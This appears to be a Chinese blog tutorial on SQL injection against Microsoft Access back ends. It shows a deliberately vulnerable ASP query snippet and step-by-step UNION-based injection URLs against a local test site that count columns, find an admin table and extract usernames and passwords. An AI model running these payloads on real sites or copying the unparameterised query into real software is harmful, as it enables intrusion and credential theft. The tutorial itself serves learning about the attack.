Access安全防範-SQL 註入

2017-09-06 08:00:00
zstmtony
原創
1081



SQL註入之access

access三大攻擊手法

1.access註入攻擊片段-聯閤查詢法

2.access註入攻擊片段-逐字猜解法

3.工具類的使用註入

Sql註入産生條件

1.必鬚有蔘數傳遞

2.蔘數值帶入數據庫查詢併執行

 

Access註入是暴力猜解

Access數據結構(access隻有一箇數據庫)

Access數據庫

錶名

列名

數據

  

該頁麵asp的sql語句

<%
id=request("id")
sql="select * from product where id="&id
set rs=conn.execute(sql)
%>

1.access註入攻擊片段-聯閤查詢法(union)

判斷註入

猜解錶名

猜解列名

猜解數據

Order by 22 22 代錶查詢的列名的數目有22箇

http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 order by 22 正常

http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 order by 23 錯誤

 

猜解錶名 確定存在admin錶名

http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

 

猜解列名 猜解數據

http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT

1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

 

錶名和列名猜解成功率不是百分百,猜解不到解決辦法?

1.字典文件收集(社工)

2.Access偏移註入

分享